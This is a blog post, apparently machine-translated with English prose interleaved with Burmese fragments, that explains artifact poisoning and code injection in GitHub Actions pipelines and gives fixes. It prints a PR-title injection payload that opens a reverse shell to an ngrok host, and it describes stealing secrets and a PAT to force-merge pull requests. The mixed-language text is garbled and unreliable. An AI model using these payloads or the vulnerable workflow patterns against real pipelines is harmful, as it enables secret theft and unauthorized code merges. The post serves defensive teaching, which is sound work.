On previous posts (see သွယ်ဝိုက်၍ အဆိပ်သင့်ခြင်း Pipeline Execution I-PPE နှင့် အဆိပ် Pipeline Execution PPE , we dealt basically with PPE (Poisoned Pipeline Execution): we saw how it works, its effects, some exploitation as well as some ways to protect against it.
This post deep dive into some other CI/CD pipeline vulnerabilities such as Artifact Poisoning and Code Injection.
To do it, we will base it somehow on PPE so let’s make a quick summary of what we saw about PPE.
Previous work on PPE
To summarize, we started with a basic GitHub pipeline to build and test contributed code through a pull request. Besides, it defines some checks that, if met, will merge the code into the mainstream branch. We named this as Scenario #1.
In our previous post, we demonstrated how this basic pipeline ခဲ့ vulnerable to both D-PPE and I-PPE.
We managed to fix D-PPE by modifying the trigger event မှ pull_request သို့ pull_request_targetအဆိုပါအောင် pipeline safe to D-PPE. As a reminder, pipelines triggered on a pull_request_target event will execute the base pipeline code, not the pipeline code contained in the pull request.
We named this as Scenario #2.
As a result of this modification, we demonstrated that Scenario #2 was still vulnerable to I-PPE.
To fix it, we decided ခွဲခြမ်းရန် pipeline နှစ်ခုအဖြစ်သို့:
- ပထမ pipeline (Build CI) လိမ့်မည် checkout the PR code (to build it), make the build and generate an artifact.
- ဒုတိယ pipeline (Test CI) လိမ့်မည် checkout the Base code (to avoid shell script modification) and execute the original scripts against the artifact.
- စမ်းသပ် CI ကို ထပ်တူပြုရန် pipeline Build CI ပြီးနောက် လုပ်ဆောင်ရန် pipeline၊ ငါတို့သုံးမယ်။ workflow_run ခလုတ်။
We named this as Scenario #3.
Let’s recover the code of both pipelines according to these modifications…
1st pipeline (Build CI):
name: Build CI on: pull_request_target: branches: [ main ] env: MY_SECRET: ${{ secrets.MY_SECRET }} GITHUB_PAT: ${{ secrets.GH_PAT }} jobs: prt_build_and_upload: runs-on: ubuntu-latest steps: - name: Checking out PR code uses: actions/checkout@v4 if: ${{ github.event_name == 'pull_request_target' }} with: # This is to get the PR code instead of the repo code ref: ${{ github.event.pull_request.head.sha }} - name: Building ... run: | mkdir ./bin touch ./bin/mybin.exe # Save some PR info for later use by the 2nd pipeline echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txt # Upload the binary as a pipeline artifact - name: Archive building artifacts uses: actions/upload-artifact@v3 with: name: archive-bin path: | bin 2nd pipeline (Test CI):
name: Test CI on: workflow_run: workflows: [ 'Build CI' ] types: [completed] env: MY_SECRET: ${{ secrets.MY_SECRET }} GITHUB_PAT: ${{ secrets.GH_PAT }} jobs: deploy: runs-on: ubuntu-latest if: ${{ github.event.workflow_run.conclusion == 'success' }} steps: # By default, checks out base code (not PR code) - name: Checkout repository uses: actions/checkout@v4 # Download the artifact - name: 'Download artifact' uses: actions/github-script@v6 with: script: | let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({ owner: context.repo.owner, repo: context.repo.repo, run_id: context.payload.workflow_run.id, }); let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => { return artifact.name == "archive-bin" })[0]; let download = await github.rest.actions.downloadArtifact({ owner: context.repo.owner, repo: context.repo.repo, artifact_id: matchArtifact.id, archive_format: 'zip', }); let fs = require('fs'); fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data)); # Unzip the artifact - name: 'Unzip artifact' run: | unzip -o myartifact.zip # Runs tests - name: Running tests ... id : run_tests run: | echo Running tests.. chmod +x runtests.sh ./runtests.sh echo Tests executed. # # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge) # - name: pr_check_conditions_to_merge id: check_pr run: | echo "check_conditions_to_merge" PR_ID=$(<PR_ID.txt) PR_TITLE=$(<PR_TITLE.txt) echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE" echo "merge=false" >> $GITHUB_OUTPUT - name: pr_merge_pr_false if: steps.check_pr.outputs.merge == 'false' run: | echo "The merge check was ${{ steps.check_pr.outputs.merge }}" echo "Merge conditions NOT MEET!!!" - name: pr_merge_pr_true if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK' run: | echo "The merge check was ${{ steps.check_pr.outputs.merge }}" echo "Merge conditions successfully MEET!!!" echo "Merging .." PR_ID=$(<PR_ID.txt) curl -L \ -X PUT \ -H "Accept: application/vnd.github+json" \ -H "Authorization: Bearer $GITHUB_PAT" \ -H "X-GitHub-Api-Version: 2022-11-28" \ https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \ -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}' ရှေးဟောင်းပစ္စည်း အဆိပ်သင့်ခြင်း
According to above CI/CD pipelines:
- pipeline Build CI is လုံခွုံသော နှစ်ခုလုံးကို D-PPE (ကြောင့်ရန် pull_request_target) နှင့် I-PPE (because it no longer executes the shell script).
- pipeline Test CI လည်းဖြစ်ပါတယ် လုံခွုံသော နှစ်ခုလုံးကို D-PPE (ကြောင့်ရန် workflow_run) နှင့် I-PPE (because it checkout the base code to get the original shell script)
Let’s deep dive into this “solution”.
Pipeline Test CI downloads the artifact as a zip file.
# Unzip the artifact - name: 'Unzip artifact' run: | unzip -o myartifact.zip # Runs tests - name: Running tests ... id : run_tests run: | echo Running tests.. chmod +x runtests.sh ./runtests.sh echo Tests executed. Once unzipped, it executes the “safe” shell script. Why do I say the “safe” shell script? Because in a previous step, the pipeline checks out the “base” code, so the original script is placed into the workspace folder. Therefore, when the pipeline executes the shell script it will run using the binary previously downloaded.
အဲဒီအခါ ဘာလဲ။ ပြဿနာ with this approach? The problem comes when any user “creates” a new pipeline.
အသုံးပြုသူတစ်ဦးသည် အသစ်ပါဝင်သည့် PR တစ်ခုကို ဖွင့်ပါက pipeline, GitHub က အဲဒါကို လုပ်ဆောင်ပေးပါလိမ့်မယ်။ pipeline (given some conditions, as we saw in the previous တိုင်).
ဒီလိုပေးထားတယ်၊ what if the user creates a new pipeline with the same name as Build CI? Yes, it is surprising, but GitHub allows you to create two pipelineနာမည်တူ s!!
Remember that Test CI will execute after Build CI…
name: Test CI on: workflow_run: workflows: [ 'Build CI' ] types: [completed]Surprisingly, because there are now two pipelines with the same name, the pipeline Test CI will execute twice: one after the original pipeline and other after the “new” pipeline.
How can the hacker take advantage of this ?
- First, the malicious user can modify the shell script to send the secret to the hacker-controlled server.
- Secondly, the new pipeline includes a line to copy the modified shell script into the artifact → poisoning the artifact!!!
When the user opens a PR with these changes, the “new” pipeline will be executed (uploading a poisoned artifact) and the Deploy CI pipeline will be executed after that, resulting in the “modified” shell script overwrites the “original” shell script located in the pipeline Workspace.
ဒါကို ကျွန်တော်တို့ ခေါ်တယ်။ ရှေးဟောင်းပစ္စည်း အဆိပ်သင့်ခြင်း, i.e. the ability to modify (hack) the pipeline logic through modification of a pipeline ရှေးဟောင်းပစ္စည်း.
တစ်ခုတော့ ဖြစ်နိုင်တယ်။ ကုစား is quite straightforward: just unzipping the artifact to a subfolder of the workspace would avoid overwriting the “base” shell script.
Code ကို Injection
Besides artifact poisoning, can you see any other vulnerability in the above code?
Let’s go!!
As you can see in the code, pipeline Build CI builds the binary, it uploads the binary as a pipeline artifact and, besides, it uploads a couple of additional data: the PR Title and and the PR Id.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txtWhy? Because to merge the PR, as you can see below, the Test CI pipeline needs the PR id to invoke the GitHub REST API that merges the PR.
How does the Test CI pipeline obtain that PR ID ? Sharing info in text files (part of a pipeline artifact) is a common way to share info between pipelines. And that is exactly what these pipelines are doing.
echo "Merging .." PR_ID=$(<PR_ID.txt) curl -L \ -X PUT \ -H "Accept: application/vnd.github+json" \ -H "Authorization: Bearer $GITHUB_PAT" \ -H "X-GitHub-Api-Version: 2022-11-28" \ https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \ -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}' Strictly speaking, only the PR Id is needed to merge the PR, but the pipeline admin decided the Build CI also to include the PR title so the Test CI pipeline would print out some info msg containing both the PR Id and Title.
name: Build CI - name: Building ... run: | mkdir ./bin touch ./bin/mybin.exe # Save some PR info for later use by the 2nd pipeline echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txt name: Test CI [...] PR_ID=$(<PR_ID.txt) PR_TITLE=$(<PR_TITLE.txt) echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE" The PR Title is always data coming from the user and, as such, must always be considered as untrusted။ ဒီတော့ pipeline must handle as such and take protective measures.
In the above code, we can see the specific message echoing the PR Title. It’s just an “echo” linux command.
Through string interpolation, if the title is “a dummy title”, Github generates internally a script containing
echo ""a dummy title""But, what if the PR title would be something like:
Malicious title” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "The script would become:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "" Resulting in opening a reverse shell against the hacker-controlled server.
That reverse shell might be used to access the pipeline secrets (remember that Test CI is running in privilege mode because it’s being triggered by workflow_run so it has access to secrets).
But, what else can be done through that reverse shell ?
Look at the CI Test code:
env: GITHUB_PAT: ${{ secrets.GH_PAT }} [...] echo "Merging .." PR_ID=$(<PR_ID.txt) curl -L \ -X PUT \ -H "Accept: application/vnd.github+json" \ -H "Authorization: Bearer $GITHUB_PAT" \ -H "X-GitHub-Api-Version: 2022-11-28" \ https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \ -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}' As you can see in the Test CI pipeline, the curl merge command is making use of GITHUB_PAT (defined as an pipeline env var), so the runner contains the GITHUB_PAT as an environment variable. Moreover, it also creates an env var reading the PR ID.
So the hacker just needs to copy the curl command and paste it into the reverse shell, merging the PR directly into the protected branch.
To protect of all this:
- သို့ ကိုရှောင်ကြဉ် string interpolation with untrusted data (vulnerable to code injection) က defining pipeline env vars instead of using it directly in echo commands
Instead of using:
name: Build CI - name: Building ... run: | mkdir ./bin touch ./bin/mybin.exe # Save some PR info for later use by the 2nd pipeline echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txtUse this:
- name: Building ... run: | mkdir ./bin touch ./bin/mybin.exe # Save some PR info for later use by the 2nd pipeline echo "$PR_TITLE" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txt env: PR_TITLE: ${{github.event.pull_request.title}} - Even with code injection exploit, the curl merge command would have not succeeded if you had properly protected your pull requests through some mandatory review or approval.
နိဂုံး
It’s somehow difficult to protect CI/CD pipelines configuration and get pipelines free of vulnerabilities.
ဒီလို မဆိုလိုပါဘူး။ CI/CD systems (as GitHub in this case) are vulnerable per se. CI/CD systems provide the means to protect against vulnerabilities … but it’s the responsibility of the admin to implement those protections.
ဒါပေမယ့် ... You cannot solve a vulnerability unless you are aware of its existence!!!
Of course that a highly skilled devops admin may have all these threats in mind and properly protect the CI/CD pipelines, but, even so, it’s highly valuable to use a product to detect all these kinds of vulnerabilities. And of course to automate this vulnerability detention process (for example, running the scan as part of CI/CD pipelines ကို) ။
This approach might be called “လုံခြုံရေးဂိတ်":
- အသစ်တစ်ခုကို Create pipeline (Security Gate) to check for CI/CD pipelines vulnerabilities and make the other CI pipelines to execute only upon successful completion of the Security Gate pipeline.
- The Security Gate pipelines will check for CI/CD pipelines vulnerabilities and,
- If vulns are found, it will fail and, therefore, the other pipelines will not be executed.
- If no vulns are found, the pipeline will succeed and the other pipelines will execute as usual.
